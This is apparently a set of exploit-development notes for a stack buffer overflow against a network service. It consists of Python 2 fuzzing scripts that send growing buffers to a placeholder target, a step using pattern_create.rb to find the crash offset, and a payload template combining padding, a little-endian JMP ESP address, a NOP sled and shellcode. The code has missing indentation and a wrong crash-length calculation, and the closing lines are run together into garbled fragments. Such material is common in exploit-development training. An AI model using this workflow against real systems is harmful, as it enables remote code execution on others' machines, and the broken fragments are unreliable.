import socket
import sys
buffer = "A"*100
while True:
try:
s=socket.socket()
s.connect(("<target IP>", <target port>))
print("Connected to the target")
s.recv(1024)
print'[*]Sending buffer with length: ' + str(len(buffer))
s.send(buffer+'\r\n')
s.close()
buffer=buffer+'A'*20
except:
print'[*]Crashed at buffer length : ' + str(len(buffer)*100)
sys.exit()
import socket
import sys
buffer = "A" * <the value at which the application crashed>
while True:
try:
s=socket.socket()
s.connect(("<target IP>", <target port>))
print("Connected to the target")
s.recv(1024)
print'[*]Sending buffer with length: ' + str(len(buffer))
s.send(buffer+'\r\n')
s.close()
except:
print'[*]Crash confirmed at buffer length : ' + str(len(buffer)*100)
sys.exit()
Generate random characters using pattern_create.rb script. It requires -l value. Here, the -l value is the no.of bytes at which the application crashed.
/path/to/pattern_create.rb -l <crash confirmed value>
import socket
import sys
buffer = <generated pattern in double quotes>
while True:
try:
s=socket.socket()
s.connect(("<target IP>", <target port>))
print("Connected to the target")
s.recv(1024)
print'[*]Sending the pattern of length: ' + str(len(buffer))
s.send(buffer+'\r\n')
s.close()
except:
print'[*]Crash confirmed at : ' + str(len(buffer)*100)
sys.exit()
311712F3, write it as
\xf3\x12\x17\x31"A"*524 +\xf3\x12\x17\x31 + "c" 8 600payload= "A"*exact offset + <jmpesp value written in little endian> + "\x90"* 4/8/12/16 + <shellcode> + "c" * 100/200/300/400